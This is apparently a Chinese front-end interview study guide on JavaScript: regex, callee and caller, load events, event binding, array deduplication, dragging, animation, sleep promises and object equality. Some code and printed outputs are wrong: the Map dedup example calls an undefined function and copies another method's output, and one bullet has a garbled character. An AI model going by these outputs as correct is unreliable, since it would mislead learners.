  • 构造函数的参数可以是一个字符串,也可以是两个字符串,第一个字符串是正则表达式模式,第二个字符串是修饰符。
  • 如果正则表达式模式是一个变量,只能使用构造函数的方式创建正则表达式。

正则表达字面量 //

  • 使用两个斜杠//将正则表达式包围起来。
  • 字面量的方式更简洁,不需要进行双重转义,直接使用特殊字符即可。
  • 正则表达式字面量的模式和修饰符直接写在斜杠之间。

在前端面试中,正则表达式是一个常见的考点。以下是一些与正则表达式相关的重要知识点总结:

1. 基本语法

  • 正则表达式是由字符和特殊字符组成的模式,用于匹配字符串中的文本。
  • 常见的特殊字符包括元字符(如.、*、+、?等)和字符类(如[...]、[^...]、\d、\w等)。

2. 匹配模式

  • 使用正则表达式可以进行文本匹配、查找、替换等操作。
  • 匹配模式可以包括固定文本和通配符,用于定义要匹配的模式。
  • 量词(如*、+、?、{n}、{n,m}等)用于指定匹配的次数。

3. 常见的正则表达式应用场景

  • 邮箱验证:匹配邮箱的正则表达式可以验证邮箱的合法性。
  • 密码验证:通过正则表达式可以验证密码的复杂度要求。
  • 手机号验证:使用正则表达式可以验证手机号码的格式是否正确。
  • URL 提取:通过正则表达式可以从文本中提取出符合 URL 格式的链接。
  • HTML 标签处理:正则表达式可以用于匹配和处理 HTML 标签。
  • 字符串替换:使用正则表达式可以进行字符串的替换操作。

4. 常见的正则表达式方法

  • test():测试字符串是否匹配正则表达式。
  • exec():在字符串中查找匹配的文本,并返回匹配结果。
  • match():在字符串中查找匹配的文本,并返回所有匹配结果的数组。
  • search():在字符串中查找匹配的文本,并返回第一个匹配结果的索引。
  • replace():将匹配的文本替换为指定的字符串。
  • split():根据正则表达式将字符串拆分为数组。
// 示例字符串
const str = 'Hello, World! This is a test string.';

// test(): 测试字符串是否匹配正则表达式
const regex1 = /test/;
console.log(regex1.test(str)); // true

// exec(): 在字符串中查找匹配的文本,并返回匹配结果
const regex2 = /is/g;
let result;
while ((result = regex2.exec(str)) !== null) {
  console.log(result[0]); // "is" (每次循环匹配的结果)
  console.log(result.index); // 匹配的起始索引
}

// match(): 在字符串中查找匹配的文本,并返回所有匹配结果的数组
const regex3 = /o/g;
console.log(str.match(regex3)); // ["o", "o", "o"]

// search(): 在字符串中查找匹配的文本,并返回第一个匹配结果的索引
const regex4 = /World/;
console.log(str.search(regex4)); // 7

// replace(): 将匹配的文本替换为指定的字符串
const regex5 = /test/;
const newStr = str.replace(regex5, 'replacement');
console.log(newStr); // "Hello, World! This is a replacement string."

// split(): 根据正则表达式将字符串拆分为数组
const regex6 = /[,!\s]/;
const arr = str.split(regex6);
console.log(arr); // ["Hello", "World", "This", "is", "a", "test", "string"]

5. 贪婪匹配和非贪婪匹配

  • 贪婪匹配是指正则表达式默认匹配尽可能长的字符串。
  • 非贪婪匹配是指正则表达式匹配尽可能短的字符串,在量词后加上?实现非贪婪匹配。

以下是一些常见的正则表达式面试题考点及其答案总结:

1. 什么是正则表达式?

正则表达式是一种用于匹配和操作字符串的模式,它由字符和特殊字符组成,用于定义匹配规则。

2. 正则表达式的创建方式有哪些?

正则表达式可以通过两种方式创建:

  • 字面量方式:使用两个斜杠//将正则表达式包围起来,如:/pattern/。
  • 构造函数方式:使用RegExp()构造函数创建,接受一个字符串参数,如:new RegExp("pattern")。

3. 常见的正则表达式修饰符有哪些?

常见的正则表达式修饰符包括:

  • i:不区分大小写匹配。
  • g:全局匹配,找到所有匹配项。
  • m:多行匹配,将 ^ 和 $ 应用到每一行。

4. 常用的正则表达式元字符有哪些?

常用的正则表达式元字符包括:

  • .:匹配除换行符以外的任意字符。
  • ^:匹配字符串的开始位置。
  • $:匹配字符串的结束位置。
  • \d:匹配数字字符。
  • \w:匹配字母、数字、下划线。
  • \s:匹配空白字符。

5. 如何匹配邮箱地址?

可以使用以下正则表达式进行邮箱地址的匹配:

/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;

6. 如何匹配手机号码? 可以使用以下正则表达式进行手机号码的匹配:

/^1[3456789]\d{9}$/;

7. 如何匹配 URL 地址?

可以使用以下正则表达式进行 URL 地址的匹配:

/^(https?:\/\/)?([\da-z.-]+)\.([a-z.]{2,6})(\/[\w.-]*)*\/?$/;

8. 如何提取字符串中的数字部分? 可以使用以下正则表达式提取字符串中的数字部分:

/\d+/g;

9. 如何验证密码的复杂度要求?

可以使用以下正则表达式验证密码的复杂度要求,包括至少包含一个大写字母、一个小写字母和一个数字,长度为8-20个字符:

/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[a-zA-Z\d]{8,20}$/;

10. 如何匹配日期格式(YYYY-MM-DD)?

可以使用以下正则表达式匹配日期格式(YYYY-MM-DD):

/^\d{4}-\d{2}-\d{2}$/;

11. 如何匹配 IP 地址?

可以使用以下正则表达式匹配 IP 地址:

/^((25[0-5]|2[0-4]\d|[01]?\d{1,2})\.){3}(25[0-5]|2[0-4]\d|[01]?\d{1,2})$/;

12. 如何匹配 HTML 标签?

可以使用以下正则表达式匹配 HTML 标签:

/<[^>]+>/g;

13. 如何移除字符串中的 HTML 标签?

可以使用以下正则表达式移除字符串中的 HTML 标签:

str.replace(/<[^>]+>/g, '');

# 67 Javascript中callee和caller的作用?

⚡ 30 秒速记

  • arguments.callee:指向当前正在执行的函数本身,早年用于匿名递归
  • fn.caller:指向调用当前函数的那个函数
  • 两者在严格模式下都被禁用,访问会抛 TypeError
  • 被禁的原因:破坏封装(能顺着调用栈往上摸)、阻止引擎做尾调用优化和内联优化
  • 替代方案:匿名递归改用具名函数表达式 const f = function self(){ self() };需要调用来源就显式传参
  • 这题基本只考"知不知道它们已被废弃"

arguments.callee 指向当前执行的函数,fn.caller 指向调用当前函数的函数,但两者都已经不推荐使用。 callee 过去常用于匿名递归,caller 则能追踪调用来源,不过它们会带来安全性和性能问题,在严格模式下也不可用。递归场景我一般改用具名函数表达式,让函数通过名称调用自身。若业务需要记录调用来源,更稳妥的方式是显式传参,而不是读取调用栈。

callee和caller是两个旧的非标准属性,它们在现代的 JavaScript 中已经不推荐使用,且在严格模式下不可用。

  • caller属性:caller属性用于获取调用当前函数的函数的引用。它返回一个函数对象或者null。这个属性主要用于追踪函数的调用来源。但由于其潜在的安全性问题和性能问题,它已经被废弃了,并且在严格模式下无法使用。
  • callee属性:callee属性返回当前正在执行的函数的引用。它通常在匿名函数或递归函数中使用,允许函数引用自身。但同样由于其潜在的安全性和性能问题,它也已经被废弃了,并且在严格模式下无法使用。

应该尽量避免使用caller和callee属性,而使用更现代的 JavaScript 特性和技术来完成相应的任务。例如,可以使用具名函数表达式来递归调用函数,使用函数引用作为参数传递来追踪函数调用的来源。

以下是一个示例,

如果一对兔子每月生一对兔子;一对新生兔,从第二个月起就开始生兔子;假定每对兔子都是一雌一雄,试问一对兔子,第n个月能繁殖成多少对兔子?(使用callee完成)

var result=[];
function fn(n){  //典型的斐波那契数列
  if(n==1){
    return 1;
  }else if(n==2){
    return 1;
  }else{
    if(result[n]){
      return result[n];
    }else{
      //argument.callee()表示fn()
      result[n]=arguments.callee(n-1)+arguments.callee(n-2);
      return result[n];
    }
  }
}

以下是一个示例,展示了如何使用具名函数表达式进行递归调用:

const factorial = function calculateFactorial(n) {
  if (n <= 1) {
    return 1;
  }
  return n * calculateFactorial(n - 1);
};

console.log(factorial(5)); // 输出: 120

在这个示例中,使用具名函数表达式calculateFactorial来递归调用自身,计算阶乘的结果。这种方式比使用callee属性更清晰和可维护。

总结

  • caller是返回一个对函数的引用,该函数调用了当前函数;
  • callee是返回正在被执行的function函数,也就是所指定的function对象的正文

# 68 window.onload和$(document).ready

⚡ 30 秒速记

  • window.onload:等所有资源(图片、样式、iframe)都加载完才触发,时机最晚
  • $(document).ready:DOM 结构解析完就触发,不等图片,时机更早
  • 数量:window.onload 直接赋值只能有一个(会互相覆盖),ready 可以注册多个
  • 原生等价物:document.addEventListener('DOMContentLoaded', fn)
  • 现代做法:script 加 defer 就天然在 DOM 解析完后执行,大多数情况不需要再监听事件
  • 补充:readyState 有 loading / interactive / complete 三态,可以用它判断是否已经错过时机

window.onload 要等页面中的图片等资源全部加载完成,$(document).ready() 在 DOM 结构准备好后就会执行。 因为等待范围不同,ready 通常触发得更早,更适合做元素查询、事件绑定这类只依赖 DOM 的初始化。原生实现可以监听 DOMContentLoaded,不需要为了这件事专门依赖 jQuery。如果逻辑必须读取图片加载后的尺寸,再选择 window.onload 更合适。

原生JS的window.onload与Jquery的$(document).ready(function(){})有什么不同?如何用原生JS实现Jq的ready方法?

  • window.onload()方法是必须等到页面内包括图片的所有元素加载完毕后才能执行。
  • $(document).ready()是DOM结构绘制完毕后就执行,不必等到加载完毕
function ready(fn){
    if(document.addEventListener) {        //标准浏览器
      document.addEventListener('DOMContentLoaded', function() {
          //注销事件, 避免反复触发
          document.removeEventListener('DOMContentLoaded',arguments.callee, false);
          fn();            //执行函数
      }, false);
    }else if(document.attachEvent) {        //IE
      document.attachEvent('onreadystatechange', function() {
          if(document.readyState == 'complete') {
              document.detachEvent('onreadystatechange', arguments.callee);
              fn();        //函数执行
          }
      });
    }
 };

# 69 addEventListener()和attachEvent()的区别

⚡ 30 秒速记

  • addEventListener 是 W3C 标准(DOM2),attachEvent 是 IE8 及以前的私有实现,今天已无实战价值
  • 参数:addEventListener(type, fn, useCapture) 事件名不带 on;attachEvent('onclick', fn) 要带 on
  • 阶段:addEventListener 支持捕获和冒泡两个阶段,attachEvent 只有冒泡
  • this:addEventListener 里 this 指向绑定元素,attachEvent 里指向 window(经典坑)
  • 执行顺序:多个 attachEvent 的执行顺序是反的
  • 现代要补的是第三参数的对象形式:{ capture, once, passive, signal } —— passive:true 能显著提升滚动性能,signal 可以用 AbortController 批量解绑

addEventListener() 是标准事件绑定方式,attachEvent() 是早期 IE 的非标准实现,现代开发应使用前者。 addEventListener() 的事件名不带 on,还能通过第三个参数选择捕获或冒泡;attachEvent() 的事件名要带 on,并且只在冒泡阶段处理。两者回调里的 this 也不同:前者指向触发事件的元素,后者指向 window。获取事件信息时,前者使用回调参数,后者通常依赖 window.event。

  • addEventListener()是DOM Level 2 标准定义的方法,而attachEvent()是早期IE浏览器的非标准方法。
  • addEventListener()可以为同一个元素的同一个事件类型添加多个事件处理函数,而attachEvent()只能绑定一个事件处理函数。
  • addEventListener()使用事件捕获阶段或冒泡阶段来处理事件,可以通过第三个参数来指定是在捕获阶段处理还是在冒泡阶段处理。而attachEvent()只能在冒泡阶段处理事件。
  • addEventListener()的事件处理函数中的this指向触发事件的元素,而attachEvent()的事件处理函数中的this指向window对象。
  • addEventListener()中的事件处理函数可以通过event参数来获取事件信息,而attachEvent()的事件处理函数需要通过window.event来获取事件信息。

由于attachEvent()是早期IE浏览器的非标准方法,且在现代浏览器中已经被废弃,推荐使用addEventListener()来绑定事件。

# 70 获取页面所有的checkbox

⚡ 30 秒速记

  • 与第 64 题重复
  • document.querySelectorAll('input[type="checkbox"]')
  • 只要选中的加 :checked 伪类
  • 用扩展运算符或 Array.from 转成真数组再做 map/filter
  • 注意 querySelectorAll 返回静态 NodeList,getElementsByTagName 返回动态 HTMLCollection

获取页面全部复选框,直接用 document.querySelectorAll('input[type="checkbox"]') 即可。 如果只要已选中的元素,可以再加上 :checked 伪类。返回值是静态 NodeList,需要使用数组方法时,可通过扩展运算符或 Array.from 转成数组;也可以遍历所有 input,再按 type === 'checkbox' 筛选。

var resultArr= [];
var input = document.querySelectorAll('input');
for(var i = 0; i < input.length; i++ ) {
  if(input[i].type == 'checkbox') {
    resultArr.push( input[i] );
  }
}
//resultArr即中获取到了页面中的所有checkbox

# 71 数组去重方法总结

⚡ 30 秒速记

  • Set(首选):[...new Set(arr)],一行搞定,O(n)
  • filter + indexOf:简洁但 O(n²),大数组慢
  • reduce + includes:同样 O(n²)
  • 对象/Map 做哈希:O(n),但用对象当哈希会把键转成字符串,1 和 '1' 会混淆,用 Map 更安全
  • 对象数组按某字段去重:用 Map 以该字段为键,new Map(arr.map(o => [o.id, o])).values()
  • 几个坑:NaN 用 indexOf 找不到(Set 和 includes 可以)、对象元素比的是引用所以永远不相等
  • 保序要求:Set 天然保持首次出现顺序

普通数组去重我一般优先用 [...new Set(arr)],写法短,遍历规模下通常也是 O(n)。 兼容旧写法时,可以用循环配合 indexOf、includes 或相邻元素比较,但前两类可能达到 O(n²),排序还会改变元素顺序。需要哈希去重时,Map 比普通对象更稳妥,因为对象键会转成字符串。还要注意 indexOf 无法识别 NaN,而对象之间比较的是引用,所以内容相同也未必会被去掉。

方法一、利用ES6 Set去重(ES6中最常用)

function unique (arr) {
  return Array.from(new Set(arr))
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
 //[1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {}, {}]

方法二、利用for嵌套for,然后splice去重(ES5中最常用)

function unique(arr){
      for(var i=0; i<arr.length; i++){
          for(var j=i+1; j<arr.length; j++){
              if(arr[i]==arr[j]){         //第一个等同于第二个,splice方法删除第二个
                  arr.splice(j,1);
                  j--;
              }
          }
      }
	return arr;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
    //[1, "true", 15, false, undefined, NaN, NaN, "NaN", "a", {…}, {…}]     //NaN和{}没有去重,两个null直接消失了
  • 双层循环,外层循环元素,内层循环时比较值。值相同时,则删去这个值。
  • 想快速学习更多常用的ES6语法

方法三、利用indexOf去重

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return
    }
    var array = [];
    for (var i = 0; i < arr.length; i++) {
        if (array .indexOf(arr[i]) === -1) {
            array .push(arr[i])
        }
    }
    return array;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
   // [1, "true", true, 15, false, undefined, null, NaN, NaN, "NaN", 0, "a", {…}, {…}]  //NaN、{}没有去重

新建一个空的结果数组,for 循环原数组,判断结果数组是否存在当前元素,如果有相同的值则跳过,不相同则push进数组

方法四、利用sort()

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return;
    }
    arr = arr.sort()
    var arrry= [arr[0]];
    for (var i = 1; i < arr.length; i++) {
        if (arr[i] !== arr[i-1]) {
            arrry.push(arr[i]);
        }
    }
    return arrry;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
// [0, 1, 15, "NaN", NaN, NaN, {…}, {…}, "a", false, null, true, "true", undefined]      //NaN、{}没有去重

利用sort()排序方法,然后根据排序后的结果进行遍历及相邻元素比对

方法五、利用对象的属性不能相同的特点进行去重

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return
    }
    var arrry= [];
     var  obj = {};
    for (var i = 0; i < arr.length; i++) {
        if (!obj[arr[i]]) {
            arrry.push(arr[i])
            obj[arr[i]] = 1
        } else {
            obj[arr[i]]++
        }
    }
    return arrry;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
//[1, "true", 15, false, undefined, null, NaN, 0, "a", {…}]    //两个true直接去掉了,NaN和{}去重

方法六、利用includes

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return
    }
    var array =[];
    for(var i = 0; i < arr.length; i++) {
            if( !array.includes( arr[i]) ) {//includes 检测数组是否有某个值
                    array.push(arr[i]);
              }
    }
    return array
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
    //[1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {…}, {…}]     //{}没有去重

方法七、利用hasOwnProperty

function unique(arr) {
    var obj = {};
    return arr.filter(function(item, index, arr){
        return obj.hasOwnProperty(typeof item + item) ? false : (obj[typeof item + item] = true)
    })
}
    var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
        console.log(unique(arr))
//[1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {…}]   //所有的都去重了

利用hasOwnProperty 判断是否存在对象属性

方法八、利用filter

function unique(arr) {
  return arr.filter(function(item, index, arr) {
    //当前元素,在原始数组中的第一个索引==当前索引值,否则返回当前元素
    return arr.indexOf(item, 0) === index;
  });
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
//[1, "true", true, 15, false, undefined, null, "NaN", 0, "a", {…}, {…}]

方法九、利用递归去重

function unique(arr) {
    var array= arr;
    var len = array.length;

	array.sort(function(a,b){   //排序后更加方便去重
		return a - b;
	})

	function loop(index){
        if(index >= 1){
            if(array[index] === array[index-1]){
            array.splice(index,1);
            }
            loop(index - 1);    //递归loop,然后数组去重
        }
	}
	loop(len-1);
	return array;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
//[1, "a", "true", true, 15, false, 1, {…}, null, NaN, NaN, "NaN", 0, "a", {…}, undefined]

方法十、利用Map数据结构去重

function arrayNonRepeatfy(arr) {
	let map = new Map();
		let array = new Array();  // 数组用于返回结果
		for (let i = 0; i < arr.length; i++) {
			if(map .has(arr[i])) {  // 如果有该key值
			map .set(arr[i], true);
		} else {
			map .set(arr[i], false);   // 如果没有该key值
			array .push(arr[i]);
		}
	}
	return array ;
}
 var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
    console.log(unique(arr))
//[1, "a", "true", true, 15, false, 1, {…}, null, NaN, NaN, "NaN", 0, "a", {…}, undefined]

创建一个空Map数据结构,遍历需要去重的数组,把数组的每一个元素作为key存到Map中。由于Map中不会出现相同的key值,所以最终得到的就是去重后的结果

方法十一、利用reduce+includes

function unique(arr){
    return arr.reduce((prev,cur) => prev.includes(cur) ? prev : [...prev,cur],[]);
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr));
// [1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {…}, {…}]

方法十二、[...new Set(arr)]

[...new Set(arr)]
//代码就是这么少----(其实,严格来说并不算是一种,相对于第一种方法来说只是简化了代码)

# 72 (设计题)想实现一个对页面某个节点的拖曳?如何做?(使用原生JS)

⚡ 30 秒速记

  • 基础三步:mousedown 记录起始坐标和元素初始位置 → mousemove 计算偏移并更新位置 → mouseup 解绑 move 和 up
  • 关键细节:move 和 up 要绑在 document 上(不是元素上),否则鼠标移快了会脱离元素导致拖拽中断
  • 用 transform: translate 更新位置而不是改 left/top —— 前者只触发合成,后者每帧重排
  • 移动端要同时处理 touchstart/touchmove/touchend,注意 touch 事件的坐标在 e.touches[0] 里
  • 性能:mousemove 触发频率很高,用 requestAnimationFrame 节流
  • 更省事的方案:HTML5 拖放 API(draggable 属性 + dragstart/dragover/drop),但样式定制能力弱
  • 加分点:用 setPointerCapture + Pointer Events 可以一套代码同时处理鼠标和触摸

原生拖拽本质上是:mousedown 记录鼠标和元素的初始位置,mousemove 计算偏移并更新坐标,mouseup 结束拖拽。 mousemove 和 mouseup 通常绑定在 document 上,否则鼠标移出元素后可能收不到事件。位置可以更新 left、top,也可以用 transform: translate(),高频移动时再配合 requestAnimationFrame。实际使用还要限制浏览器边界;移动端则需处理 touchstart、touchmove 和 touchend。

  • 给需要拖拽的节点绑定mousedown, mousemove, mouseup事件
  • mousedown事件触发后,开始拖拽
  • mousemove时,需要通过event.clientX和clientY获取拖拽位置,并实时更新位置
  • mouseup时,拖拽结束
  • 需要注意浏览器边界的情况

下面是一个使用原生 JavaScript 实现页面节点拖拽的示例代码:

// 获取需要拖拽的节点
var draggableNode = document.getElementById("draggable");

// 初始化拖拽状态
var isDragging = false;
var offset = { x: 0, y: 0 };

// 绑定 mousedown 事件
draggableNode.addEventListener("mousedown", function(event) {
  // 设置拖拽状态为 true
  isDragging = true;

  // 计算鼠标相对于节点的偏移量
  offset.x = event.clientX - draggableNode.offsetLeft;
  offset.y = event.clientY - draggableNode.offsetTop;
});

// 绑定 mousemove 事件
document.addEventListener("mousemove", function(event) {
  // 如果处于拖拽状态
  if (isDragging) {
    // 计算节点的新位置
    var left = event.clientX - offset.x;
    var top = event.clientY - offset.y;

    // 更新节点的位置
    draggableNode.style.left = left + "px";
    draggableNode.style.top = top + "px";
  }
});

// 绑定 mouseup 事件
document.addEventListener("mouseup", function() {
  // 设置拖拽状态为 false
  isDragging = false;
});

在上面的代码中,首先获取需要拖拽的节点 draggableNode,然后初始化拖拽状态和偏移量。在 mousedown 事件中,设置拖拽状态为 true,并计算鼠标相对于节点的偏移量。在 mousemove 事件中,如果处于拖拽状态,根据鼠标位置和偏移量计算节点的新位置,并更新节点的 left 和 top 样式。最后,在 mouseup 事件中,设置拖拽状态为 false,表示拖拽结束。

需要注意的是,上述代码只实现了简单的拖拽功能,如果需要考虑边界情况、拖拽限制等,还需要进行适当的处理。

# 73 Javascript全局函数和全局变量

⚡ 30 秒速记

  • 全局函数:parseInt、parseFloat、isNaN、isFinite、encodeURI(Component)、decodeURI(Component)、eval
  • 全局变量/属性:globalThis、Infinity、NaN、undefined
  • encodeURI 和 encodeURIComponent 的区别是高频考点:前者不编码 😕?#[]@ 等 URL 结构字符(用于编码整个 URL),后者全编码(用于编码参数值)
  • isNaN 有隐式转换的坑(isNaN('abc') 是 true),应该用 Number.isNaN
  • 同理 parseInt 建议永远显式传第二个参数基数
  • 实践:别往全局挂东西,用模块作用域

JavaScript 常见全局属性有 Infinity、NaN、undefined,常用全局函数包括 parseInt、isNaN、encodeURI、decodeURI 和 eval。 浏览器里还能直接访问 window、document、console,以及定时器和弹窗相关函数。编码完整地址时用 encodeURI,编码参数值时更适合 encodeURIComponent,因为两者保留的 URL 结构字符不同。isNaN 会发生隐式转换,判断时可优先用 Number.isNaN,parseInt 也建议明确传入进制。

全局变量

  • Infinity 代表正的无穷大的数值。
  • NaN 指示某个值是不是数字值。
  • undefined 指示未定义的值。
  • Date 表示日期和时间的对象。
  • Math 包含了数学相关的函数和常量。
  • JSON 用于解析和序列化 JSON 数据的对象。
  • console 用于在控制台输出信息的对象。
  • document 表示当前 HTML 文档的对象。
  • window 表示浏览器窗口的对象。

全局函数

  • decodeURI() 解码某个编码的 URI。
  • decodeURIComponent() 解码一个编码的 URI 组件。
  • encodeURI() 把字符串编码为 URI。
  • encodeURIComponent() 把字符串编码为 URI 组件。
  • escape() 对字符串进行编码。
  • eval() 计算 JavaScript 字符串,并把它作为脚本代码来执行。
  • isFinite() 检查某个值是否为有穷大的数。
  • isNaN() 检查某个值是否是数字。
  • Number() 把对象的值转换为数字。
  • parseInt() 解析一个字符串并返回一个整数。
  • String() 把对象的值转换为字符串。
  • unescape() 对由escape() 编码的字符串进行解码
  • setTimeout() 在指定的延迟时间后执行一次函数。
  • setInterval() 每隔指定的时间间隔重复执行函数。
  • clearTimeout() 取消使用 setTimeout() 创建的延迟执行。
  • clearInterval() 取消使用 setInterval() 创建的重复执行。
  • alert() 在浏览器中显示一个警告框。
  • confirm() 在浏览器中显示一个确认框。
  • prompt() 在浏览器中显示一个提示框,接收用户输入

# 74 使用js实现一个持续的动画效果

⚡ 30 秒速记

  • 用 requestAnimationFrame 递归调用,浏览器按屏幕刷新率调度
  • 基本结构:function tick(now) { update(now); render(); id = requestAnimationFrame(tick) }
  • 一定要基于时间差而不是帧数计算位移,否则在 60Hz 和 120Hz 设备上速度不一致
  • 停止用 cancelAnimationFrame(id),组件卸载时务必清理
  • 为什么不用 setInterval:时间不精确会累积漂移、页面切后台仍在跑浪费电、和刷新率不同步会掉帧
  • rAF 的优点:与刷新率同步、页面不可见时自动暂停、由浏览器统一调度
  • 只改 transform 和 opacity 才能走合成层不掉帧

持续动画一般用 requestAnimationFrame 递归调用,在每一帧更新状态并修改元素样式。 它由浏览器配合屏幕刷新节奏调度,比固定频率的 setInterval 更适合页面动画;旧环境也可以回退到 setTimeout。如果动画速度不能受刷新率影响,位移应根据时间差计算,而不是每帧固定加一。动画结束或组件卸载时要保存并取消任务;纯样式变化则优先考虑无限循环的 CSS animation。

定时器思路

var e = document.getElementById('e')
var flag = true;
var left = 0;
setInterval(() => {
    left == 0 ? flag = true : left == 100 ? flag = false : ''
    flag ? e.style.left = ` ${left++}px` : e.style.left = ` ${left--}px`
}, 1000 / 60)

requestAnimationFrame

//兼容性处理
window.requestAnimFrame = (function(){
    return window.requestAnimationFrame       ||
           window.webkitRequestAnimationFrame ||
           window.mozRequestAnimationFrame    ||
           function(callback){
                window.setTimeout(callback, 1000 / 60);
           };
})();

var e = document.getElementById("e");
var flag = true;
var left = 0;

function render() {
    left == 0 ? flag = true : left == 100 ? flag = false : '';
    flag ? e.style.left = ` ${left++}px` :
        e.style.left = ` ${left--}px`;
}

(function animloop() {
    render();
    requestAnimFrame(animloop);
})();

使用css实现一个持续的动画效果

animation:mymove 5s infinite;

@keyframes mymove {
    from {top:0px;}
    to {top:200px;}
}
  • animation-name 规定需要绑定到选择器的 keyframe名称。
  • animation-duration 规定完成动画所花费的时间,以秒或毫秒计。
  • animation-timing-function 规定动画的速度曲线。
  • animation-delay 规定在动画开始之前的延迟。
  • animation-iteration-count 规定动画应该播放的次数。
  • animation-direction 规定是否应该轮流反向播放动画

# 75 封装一个函数,参数是定时器的时间,.then执行回调函数

⚡ 30 秒速记

  • 核心就是返回一个 Promise,在 setTimeout 回调里 resolve
  • const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms))
  • 用法:delay(1000).then(() => console.log('1 秒后')),或 await delay(1000)
  • 进阶:支持取消 —— 接收 AbortSignal,signal.addEventListener('abort', () => { clearTimeout(t); reject(new DOMException('Aborted','AbortError')) })
  • 进阶:透传值 —— delay(ms, value) 让 resolve(value)
  • 这题考的是"把回调式 API 包装成 Promise"这个通用模式(Promise 化)

这个函数返回一个 Promise,并在 setTimeout 到期后调用 resolve,这样外部就能接着写 .then()。 例如 sleep(3000).then(callback),本质上是把定时器的回调形式包装成链式异步调用。这个封装只表示等待结束,不会阻塞主线程;如果业务还要求取消定时器,就需要额外保存任务标识并调用 clearTimeout。

function sleep (time) {
   return new Promise((resolve) => setTimeout(resolve, time));
}
// 测试
sleep(3000).then(() => {
  console.log('定时器结束,执行回调函数');
});

# 76 怎么判断两个对象相等?

⚡ 30 秒速记

  • === 比的是引用地址,两个内容相同的对象永远不相等
  • 浅比较:键数量相同 + 每个键的值 === 相等(React 的 memo、Vue 的 shallowRef 用的就是这个)
  • 深比较:递归对比,要处理数组、Date、RegExp、Map/Set、循环引用、NaN、+0/-0 这些边界
  • 别用 JSON.stringify 对比:键顺序不同结果就不同,undefined/函数会被丢,Date 变字符串,循环引用直接报错
  • 现成方案:lodash 的 isEqual
  • Object.is 只是修正了 === 的两个特例(NaN 相等、+0 与 -0 不等),仍然是引用比较

判断两个对象是否相等,要先明确比较的是同一个引用,还是内部属性和值都一致。 === 只能判断引用;简单对象可以比较序列化结果,但 JSON.stringify() 会受属性顺序和特殊值影响,不适合作为通用深比较。需要比较嵌套对象或数组时,可以递归检查键数量、键是否存在以及对应值是否相等。实际项目若边界类型较多,我一般会直接使用 lodash 的 isEqual()。

obj={
    a:1,
    b:2
}
obj2={
    a:1,
    b:2
}
obj3={
    a:1,
    b:'2'
}
  1. 使用JSON.stringify():将对象转换为字符串,然后进行比较。这种方式适用于对象中的属性值都是基本数据类型,并且属性的顺序对比较结果无影响。
JSON.stringify(obj) === JSON.stringify(obj2); // true
JSON.stringify(obj) === JSON.stringify(obj3); // false
  1. 使用循环遍历:逐个比较对象的属性值。这种方式适用于对象中的属性值类型复杂,包括嵌套对象或数组。
function deepEqual(obj1, obj2) {
  // 比较基本数据类型的值
  if (obj1 === obj2) {
    return true;
  }

  // 比较对象的属性个数
  if (Object.keys(obj1).length !== Object.keys(obj2).length) {
    return false;
  }

  // 逐个比较对象的属性值
  for (let key in obj1) {
    if (!obj2.hasOwnProperty(key) || !deepEqual(obj1[key], obj2[key])) {
      return false;
    }
  }

  return true;
}

deepEqual(obj, obj2); // true
deepEqual(obj, obj3); // false
  1. 使用lodash库的isEqual()方法:lodash是一个流行的 JavaScript 工具库,其中的isEqual()方法可以比较两个对象是否相等,包括深度比较。

首先,需要通过npm install lodash命令安装lodash库,然后在代码中引入isEqual()方法:

const _ = require('lodash');

_.isEqual(obj, obj2); // true
_.isEqual(obj, obj3); // false

# 77 项目做过哪些性能优化?

⚡ 30 秒速记

  • 这是开放题,按"指标 → 手段 → 效果"三段讲最有说服力,别只罗列手段
  • 加载:路由级代码分割、Tree Shaking、图片 WebP/AVIF + 懒加载、字体子集化、CDN、强缓存 + 协商缓存、preconnect/preload
  • 渲染:SSR/SSG 改善首屏、关键 CSS 内联、骨架屏、长列表虚拟滚动
  • 运行时:防抖节流、事件委托、Web Worker 扛计算、避免强制同步布局、React 用 memo/useMemo 减少重渲染
  • 用指标收口:LCP < 2.5s、INP < 200ms、CLS < 0.1,配 Lighthouse 和真实用户监控(RUM)
  • 面试加分:给出优化前后的具体数字,比如"首屏从 4.2s 降到 1.6s"

